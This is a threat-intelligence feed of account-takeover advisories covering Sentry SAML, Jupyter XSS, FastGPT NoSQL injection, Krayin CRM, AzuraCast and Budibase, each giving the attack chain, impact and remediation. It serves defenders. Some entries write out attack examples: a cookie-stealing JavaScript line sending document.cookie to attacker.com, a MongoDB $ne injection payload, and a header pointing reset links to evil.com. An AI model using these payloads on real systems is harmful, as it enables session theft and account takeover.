Account Takeover — CraftedSignal Threat Feed

Potential Account Takeover - Logon from New Source IP

hello@craftedsignal.io — Mon, 04 May 2026 14:17:05 +0000

This detection rule identifies potential account takeover activity by analyzing Windows Security Event Logs for unusual login patterns. Specifically, it looks for user accounts that typically log in with high frequency from a single source IP address but then exhibit successful logins from a different source IP address with significantly lower frequency. This pattern may indicate that an attacker has compromised the account credentials and is accessing the network from a new, potentially malicious, location. This activity is detected by analyzing Windows Security Event ID 4624 events related to successful logins. The rule is designed to trigger when a user account logs in from a new IP address after establishing a pattern of high-volume logins from a primary IP address.

Attack Chain

Initial Access: The attacker gains access to valid user credentials through methods such as phishing, credential stuffing, or malware. (T1078)
Successful Logon: The attacker uses the compromised credentials to successfully log in to a Windows system from a new IP address (Event ID 4624, Logon Type Network/RemoteInteractive).
Lateral Movement (Possible): Once authenticated, the attacker may attempt to move laterally within the network to access additional resources or systems.
Privilege Escalation (Possible): The attacker may attempt to escalate their privileges to gain administrative access to the system or domain (TA0004).
Data Exfiltration (Possible): The attacker may attempt to exfiltrate sensitive data from the compromised system or network.
Persistence (Possible): The attacker may attempt to establish persistence mechanisms to maintain access to the system or network over time.

Impact

A successful account takeover can have significant consequences, including unauthorized access to sensitive data, lateral movement within the network, privilege escalation, and data exfiltration. The rule specifically looks for logon patterns indicative of account takeover. If an account is taken over, attackers could potentially gain access to systems and data the user has rights to access.

Recommendation

Deploy the Sigma rule provided below to your SIEM and tune for your environment, paying close attention to the max_logon threshold.
Enable Audit Logon within Windows to ensure the events needed for detection are available as mentioned in the setup instructions.
Investigate any alerts generated by the Sigma rule by confirming with the account owner if they logged in from the new source IP.
Check the new source IP for reputation, geography, and whether it is expected as described in the rule’s triage steps.
Correlate any generated alerts with other alerts for the same user or source IP such as logon failures, password changes, or MFA changes as part of your investigation.

Sentry SAML SSO Improper Authentication Allows User Identity Linking

hello@craftedsignal.io — Thu, 30 Apr 2026 20:45:20 +0000

A critical vulnerability, CVE-2026-42354, has been identified in the SAML Single Sign-On (SSO) implementation of Sentry, potentially allowing an attacker to compromise user accounts. This vulnerability stems from improper authentication during the SAML SSO process, leading to the possibility of user identity linking. The vulnerability affects Sentry versions 21.12.0 up to and including 26.4.0. To exploit this vulnerability, an attacker requires a malicious SAML Identity Provider and access to another organization within the same Sentry instance, coupled with knowledge of the victim’s email address. This attack vector poses a significant risk to self-hosted Sentry instances that are configured with multiple organizations (SENTRY_SINGLE_ORGANIZATION = False), where a malicious user possesses the necessary permissions to modify SSO settings for a different organization. Sentry SaaS has already been patched in April.

Attack Chain

The attacker gains access to a Sentry instance that has multiple organizations configured.
The attacker obtains permissions to modify the SAML SSO settings of at least one organization within the Sentry instance.
The attacker crafts a malicious SAML Identity Provider (IdP) designed to inject or manipulate user identity attributes.
The attacker uses the malicious SAML IdP to initiate a single sign-on (SSO) process to a Sentry organization they control.
The attacker provides the email address of the targeted victim, linking the victim’s identity in the Sentry instance to the malicious SAML IdP.
The victim attempts to log in to their Sentry account through SAML SSO.
Due to the vulnerability, Sentry incorrectly authenticates the victim based on the attributes provided by the attacker’s malicious SAML IdP.
The attacker successfully takes over the victim’s account, gaining access to sensitive data and functionalities associated with the victim’s privileges.

Impact

Successful exploitation of this vulnerability can lead to complete account takeover, resulting in unauthorized access to sensitive project data, configuration settings, and potentially even administrative privileges within the Sentry instance. This poses a substantial risk to organizations using vulnerable Sentry versions, as attackers could exfiltrate sensitive information, modify configurations, or disrupt services. The impact is particularly severe for self-hosted Sentry instances with multiple organizations, where a single compromised account could lead to broader access across the entire platform.

Recommendation

Upgrade self-hosted Sentry instances to version 26.4.1 or higher to patch CVE-2026-42354.
Enable user account-based two-factor authentication (2FA) for all Sentry accounts as a preventative measure, as mentioned in the Workarounds section.
Monitor Sentry audit logs for any unauthorized changes to SAML SSO configurations, particularly within multi-organization setups, to detect potential exploitation attempts.
Review and restrict permissions for modifying SSO settings across all organizations to minimize the attack surface, as described in the Overview.

Jupyter Notebook Authentication Token Theft via CommandLinker XSS

hello@craftedsignal.io — Thu, 30 Apr 2026 17:25:47 +0000

A stored Cross-Site Scripting (XSS) vulnerability has been identified in Jupyter Notebook and JupyterLab, impacting versions 7.0.0 through 7.5.5 of Jupyter Notebook and versions up to 4.5.6 of JupyterLab. Discovered by Daniel Teixeira of the NVIDIA AI Red Team, this flaw allows an attacker to craft malicious notebook files containing XSS payloads embedded within the command linker functionality. When a user opens and interacts with these files, the injected script executes, potentially stealing the user’s authentication token. Successful exploitation grants the attacker full control over the user’s Jupyter account, enabling them to read, modify, and create files, execute arbitrary code via running kernels, and establish shell access through created terminals. This vulnerability poses a significant risk to data confidentiality, integrity, and system availability.

Attack Chain

Attacker crafts a malicious Jupyter Notebook file containing a stored XSS payload within the command linker functionality.
The attacker distributes the malicious notebook file to a target user (e.g., via email, shared repository, or compromised website).
The victim opens the malicious notebook file in a vulnerable version of Jupyter Notebook or JupyterLab.
The victim interacts with a seemingly legitimate control element within the notebook that is, in fact, part of the XSS payload.
The injected XSS code executes in the victim’s browser, stealing their authentication token.
The attacker uses the stolen authentication token to authenticate to the Jupyter REST API.
The attacker gains complete control over the victim’s Jupyter account.
The attacker performs malicious actions, such as reading files, modifying files, executing arbitrary code, or creating terminals for shell access.

Impact

Successful exploitation of this XSS vulnerability enables complete account takeover, allowing attackers to read, modify, and create files, access running kernels and execute arbitrary code, and create terminals for shell access within the victim’s Jupyter environment. This can lead to data exfiltration, code injection, and potential compromise of sensitive information stored within the Jupyter Notebook environment. Given the widespread use of Jupyter Notebook in data science, machine learning, and research environments, this vulnerability can have far-reaching consequences for individuals and organizations relying on these tools.

Recommendation

Immediately upgrade Jupyter Notebook to version 7.5.6 or later, and JupyterLab to version 4.5.7 or later to patch CVE-2026-40171.
Apply the workaround to disable the help extension via CLI as specified in the advisory to mitigate the vulnerability until patching is possible.
Implement the hardening measure by disabling the command linker functionality via overrides.json to prevent XSS attacks, referencing the configuration details in the advisory.
Deploy the Sigma rule “Detect Jupyter Notebook CommandLinker XSS Attempt” to detect potential exploitation attempts based on specific HTTP request characteristics.
Educate users about the risks of opening untrusted Jupyter Notebook files and interacting with potentially malicious content.

Sentry SAML SSO Improper Authentication Vulnerability

hello@craftedsignal.io — Sat, 18 Apr 2026 12:00:00 +0000

A critical vulnerability (CVE-2026-27197) has been identified in the SAML Single Sign-On (SSO) implementation within Sentry, a popular error tracking and performance monitoring platform. This vulnerability allows a malicious actor to potentially take over user accounts by leveraging a rogue SAML Identity Provider (IdP) in conjunction with another organization configured within the same Sentry instance. The attacker needs to know the victim’s email address for successful exploitation. This flaw primarily impacts self-hosted Sentry deployments with multiple organizations enabled (SENTRY_SINGLE_ORGANIZATION = False) and where a malicious user possesses the ability to modify SSO settings for another organization. Sentry SaaS was patched on February 18, 2026. Self-hosted users should upgrade to version 26.2.0 or later to remediate this vulnerability.

Attack Chain

The attacker gains access to a Sentry instance that hosts multiple organizations. This could be through compromised credentials or other initial access vectors.
The attacker identifies a target user’s email address within the Sentry instance.
The attacker gains permissions to modify SSO settings for an organization within the Sentry instance.
The attacker configures a malicious SAML Identity Provider (IdP) for the organization they control. This IdP is designed to spoof user identities.
The victim attempts to log in to Sentry via SAML SSO.
Sentry redirects the victim to the attacker’s malicious SAML IdP for authentication.
The attacker’s malicious SAML IdP asserts the victim’s identity (using the known email address) to Sentry, but the assertion is illegitimate and controlled by the attacker.
Sentry, due to the vulnerability, improperly validates the SAML assertion, allowing the attacker to successfully authenticate as the victim and gain unauthorized access to their account.

Impact

Successful exploitation of this vulnerability allows an attacker to completely take over a targeted user’s Sentry account. This grants the attacker the ability to access sensitive project data, modify configurations, invite/remove team members, and potentially disrupt the entire Sentry instance’s operations. The vulnerability affects Sentry versions 21.12.0 up to, but not including, 26.2.0. The number of potential victims depends on the number of vulnerable Sentry instances with multiple organizations configured and the attacker’s ability to modify SSO settings.

Recommendation

Upgrade self-hosted Sentry instances to version 26.2.0 or later to patch CVE-2026-27197.
Enable two-factor authentication (2FA) on all Sentry accounts. Users can manage this in Account Settings > Security, as mentioned in the helpdesk article.
Monitor Sentry logs for unusual SSO configuration changes, specifically modifications to SAML Identity Provider settings. Deploy a rule that detects modifications to the SENTRY_SINGLE_ORGANIZATION setting, as this is a prerequisite for exploitation.
Implement the Sigma rule Detect Suspicious SAML Authentication to identify potential unauthorized SAML authentication attempts based on unusual IP addresses or user agents.

FastGPT NoSQL Injection Vulnerability in Password Change Endpoint

hello@craftedsignal.io — Fri, 17 Apr 2026 22:16:32 +0000

FastGPT, an AI Agent building platform, is susceptible to a critical NoSQL injection vulnerability affecting versions before 4.14.9.5. The flaw resides within the password change endpoint, enabling an authenticated attacker to circumvent the necessary “old password” verification process. By injecting MongoDB query operators, an attacker with an existing, low-privileged session can manipulate password changes for their own account, or potentially other accounts if combined with ID manipulation techniques. This exploit leads to full account takeover, allowing attackers to maintain persistence and potentially compromise sensitive data. This vulnerability has been patched in version 4.14.9.5, urging users to upgrade immediately.

Attack Chain

Attacker gains initial access to a FastGPT account with low privileges through legitimate means (e.g., registration or stolen credentials).
Attacker navigates to the password change endpoint within the FastGPT application.
The attacker crafts a malicious request to the password change endpoint, injecting MongoDB query operators into the “old password” field. For example, using a payload like {$ne: "legitimate_old_password"}.
The application’s backend improperly processes the injected query operators, failing to correctly validate the old password against the stored hash.
The attacker provides a new password and confirms it within the crafted request.
The FastGPT application updates the account’s password in the database, replacing the original password with the attacker-controlled value.
The attacker logs out and logs back in using the newly set password, gaining full control of the compromised account.
The attacker leverages the compromised account to access sensitive data, modify configurations, or perform other malicious activities within the FastGPT platform.

Impact

Successful exploitation of this vulnerability allows attackers to take complete control of FastGPT accounts. The consequences range from unauthorized access to sensitive data and configurations to potential manipulation of AI agent behavior. This account takeover can lead to data breaches, service disruption, and reputational damage. While the specific number of victims is unknown, any FastGPT instance running a version prior to 4.14.9.5 is vulnerable, potentially affecting a wide range of users and organizations. The CVSS v3.1 base score of 8.8 highlights the severity of this issue.

Recommendation

Immediately upgrade all FastGPT installations to version 4.14.9.5 or later to patch the NoSQL injection vulnerability (CVE-2026-40352).
Implement the Sigma rule Detect FastGPT Password Reset Bypass to detect potential exploitation attempts against the password change endpoint.
Review FastGPT webserver logs for unusual patterns or MongoDB query operators within requests to the password change endpoint to identify potential compromises.
Enable and review detailed webserver logging for FastGPT to increase visibility into HTTP requests.

Webkul Krayin CRM BOLA Vulnerability (CVE-2026-38529)

hello@craftedsignal.io — Tue, 14 Apr 2026 16:16:43 +0000

CVE-2026-38529 describes a Broken Object-Level Authorization (BOLA) vulnerability affecting Webkul Krayin CRM version 2.2.x. The vulnerability resides in the /Settings/UserController.php endpoint. An authenticated attacker can exploit this flaw by sending a crafted HTTP request. Successful exploitation allows the attacker to arbitrarily reset the passwords of other users, leading to complete account takeover. Given the potential for widespread compromise and data breaches, this vulnerability poses a critical risk to organizations using the affected Krayin CRM version. Publicly available information regarding exploitation is available on GitHub.

Attack Chain

The attacker authenticates to the Krayin CRM application with valid credentials.
The attacker crafts a malicious HTTP request targeting the /Settings/UserController.php endpoint.
The crafted request is designed to reset the password of a target user, specifying the target user’s ID.
Due to the BOLA vulnerability, the application fails to properly validate if the authenticated user has the authorization to modify the target user’s password.
The application resets the target user’s password using the attacker-supplied data.
The attacker uses the new password to log in to the target user’s account.
The attacker gains full control over the target user’s account and data.

Impact

Successful exploitation of CVE-2026-38529 allows attackers to compromise user accounts within a Webkul Krayin CRM v2.2.x instance. This can lead to unauthorized access to sensitive customer data, business records, and other confidential information. A successful attack could result in data breaches, financial loss, reputational damage, and legal liabilities. Given the potential for complete account takeover, the impact is considered critical for organizations using the vulnerable CRM.

Recommendation

Apply the patch or upgrade to a secure version of Krayin CRM that addresses CVE-2026-38529 as soon as it becomes available.
Implement the Sigma rule Detect Krayin CRM Password Reset via UserController to detect exploitation attempts targeting the vulnerable endpoint.
Review and enforce strict access control policies within the Krayin CRM application to prevent unauthorized modification of user accounts.
Monitor web server logs for suspicious activity targeting the /Settings/UserController.php endpoint.
Enable web server logging to capture detailed information about HTTP requests, including request parameters.

ArthurFiorette steam-trader 2.1.1 Sensitive Information Exposure

hello@craftedsignal.io — Mon, 30 Mar 2026 10:16:02 +0000

CVE-2026-5128 identifies a critical vulnerability in version 2.1.1 of the ArthurFiorette steam-trader application. This is a sensitive information exposure issue stemming from two main sources: direct access to the /users API endpoint and insecure logging practices. The vulnerable application, designed for managing Steam trading activities, inadvertently leaks highly sensitive user credentials. As the steam-trader repository is archived and no longer maintained, no patch is available, leaving…

Potential Account Takeover via Mixed Logon Types

hello@craftedsignal.io — Tue, 30 Jan 2024 12:00:00 +0000

This detection identifies a user account, often a service account, that typically logs in with high volume using a specific logon type but suddenly shows successful logons using a different logon type with low count. This anomalous behavior may signal account takeover or the use of stolen credentials from a new context, such as an interactive or network logon when only batch/service logons were expected. This is critical for defenders as compromised service accounts can lead to privilege escalation and lateral movement within the network. The detection logic is based on Windows Security Event Logs (Event ID 4624).

Attack Chain

Initial Access: An attacker gains access to a valid user account’s credentials.
Credential Compromise: The attacker compromises a service account’s credentials.
Lateral Movement: The attacker attempts to move laterally within the network using the compromised credentials.
Authentication: The attacker uses the stolen credentials to authenticate to a system using a previously unseen logon type.
Privilege Escalation: The attacker leverages the service account permissions to escalate privileges.
Resource Access: The attacker accesses sensitive resources using the compromised account.
Data Exfiltration: The attacker exfiltrates sensitive data.

Impact

A successful account takeover can lead to significant damage, including data breaches, privilege escalation, and lateral movement within the network. If a service account is compromised, attackers can gain access to sensitive systems and data, potentially affecting hundreds or thousands of users or systems. The shift in logon types often goes unnoticed, enabling attackers to maintain persistence.

Recommendation

Enable Audit Logon to generate the necessary events for detection (reference: Setup section in content).
Deploy the Sigma rule “Potential Account Takeover - Mixed Logon Types” to your SIEM and tune the thresholds (max_logon, min_logon) based on your environment.
Investigate any alerts generated by the Sigma rule by confirming with the account owner or service owner whether the additional logon type is expected (reference: Investigation Guide section).
Implement multi-factor authentication (MFA) for all user accounts, including service accounts, to mitigate the risk of credential compromise.

AzuraCast Account Takeover via X-Forwarded-Host Poisoning

hello@craftedsignal.io — Wed, 03 Jan 2024 12:00:00 +0000

AzuraCast versions 0.23.5 and earlier are vulnerable to an account takeover vulnerability stemming from the unconditional trust of the X-Forwarded-Host HTTP header. An unauthenticated attacker can exploit this by injecting a malicious hostname into the password reset URL sent to a user. This is achieved by sending a crafted request to the /forgot endpoint with the X-Forwarded-Host header set to a domain controlled by the attacker. The victim, upon clicking the poisoned link in the reset email, inadvertently sends their password reset token to the attacker’s server. This allows the attacker to reset the victim’s password and disable their two-factor authentication, gaining complete control of the account. This vulnerability exists because the ApplyXForwarded middleware doesn’t validate the X-Forwarded-Host header against a trusted proxy allowlist and the application uses the request host for generating security-critical URLs.

Attack Chain

The attacker crafts a POST request to the /forgot endpoint with the X-Forwarded-Host header set to a malicious domain (e.g., evil.com).
The AzuraCast application generates a password reset email containing a poisoned URL with the attacker’s domain.
The victim receives the password reset email and clicks on the malicious link, sending a GET request to the attacker’s domain, inadvertently leaking the password reset token.
The attacker’s server captures the password reset token from the URL path.
The attacker uses the captured token to access the password reset page on the legitimate AzuraCast instance.
The attacker obtains a CSRF token from the reset page.
The attacker crafts a POST request to the password reset endpoint on the real AzuraCast instance, including the CSRF token and a new password.
The victim’s password is changed, and their 2FA is disabled, granting the attacker full account access.

Impact

Successful exploitation of this vulnerability allows for full account takeover of any user, including administrators, without prior authentication. The attack also bypasses 2FA, negating its security benefits. If an administrator account is compromised, the attacker gains full control of the AzuraCast instance, including all stations, media, and system settings. The attack requires the victim to click a link in a legitimate-looking password reset email, increasing the likelihood of success. This can lead to unauthorized access to sensitive data, disruption of service, and reputational damage.

Recommendation

Implement a trusted proxy allowlist in backend/src/Middleware/ApplyXForwarded.php to validate the X-Forwarded-Host header, as described in the provided fix, to prevent hostname injection (Fix 1).
Modify ForgotPasswordAction.php to generate the reset URL using the configured base_url setting rather than the request-derived URL to ensure the correct domain is used in the reset email (Fix 2).
Deploy the following Sigma rule to detect suspicious requests to the /forgot endpoint with a non-standard X-Forwarded-Host header to identify potential exploitation attempts.
Remove the line $user->two_factor_secret = null; from LoginTokenAction.php:75 to prevent 2FA from being disabled during password reset, requiring a separate, explicit flow for 2FA recovery (Fix 3).

Budibase XSS Leads to Account Takeover via JWT Theft

hello@craftedsignal.io — Tue, 02 Jan 2024 12:00:00 +0000

Budibase, a low-code platform, is vulnerable to account takeover due to the insecure configuration of its authentication cookie. The budibase:auth cookie, which stores the JWT session token, is set without the httpOnly flag. This allows JavaScript, including malicious scripts injected via Cross-Site Scripting (XSS) vulnerabilities like GHSA-gp5x-2v54-v2q5, to access the cookie’s contents. An attacker exploiting this can steal the JWT and use it to impersonate the victim, gaining persistent access to their account. Furthermore, the cookie lacks the secure and sameSite attributes, exacerbating the risk. This vulnerability affects all Budibase deployments running versions prior to 3.35.10, as the insecure cookie configuration is hardcoded in the backend.

Attack Chain

Attacker identifies a Budibase instance running a vulnerable version (prior to 3.35.10).
Attacker exploits an existing XSS vulnerability, such as the stored XSS via unsanitized entity names (GHSA-gp5x-2v54-v2q5).
The attacker crafts a malicious JavaScript payload designed to read the budibase:auth cookie using document.cookie.
The injected JavaScript executes within the victim’s browser when they interact with the application (e.g., viewing an entity with a malicious name).
The malicious script retrieves the JWT session token from the budibase:auth cookie.
The script exfiltrates the stolen JWT to an attacker-controlled server, for example, by sending it as a URL parameter in an image request: new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);.
The attacker uses the stolen JWT to authenticate to the Budibase application, bypassing normal login procedures.
The attacker gains persistent access to the victim’s account and can perform actions as the victim, including accessing sensitive data, modifying application configurations, and creating new malicious entities.

Impact

The lack of the httpOnly flag on the budibase:auth cookie transforms every XSS vulnerability in Budibase into a critical account takeover risk. Attackers can persistently compromise user accounts, leading to potential data breaches, unauthorized application modifications, and further propagation of malicious content. This impacts all Budibase deployments running vulnerable versions, potentially affecting a wide range of organizations using the platform for their internal applications and workflows. The vulnerability allows attackers to bypass authentication controls and gain full control over compromised accounts.

Recommendation

Upgrade Budibase to version 3.35.10 or later to address the insecure cookie configuration in packages/backend-core/src/utils/utils.ts.
Deploy the following Sigma rule to detect potential JWT theft attempts via unusual network connections originating from the browser.
Review and remediate all existing XSS vulnerabilities within your Budibase applications, as they can now lead to full account takeover.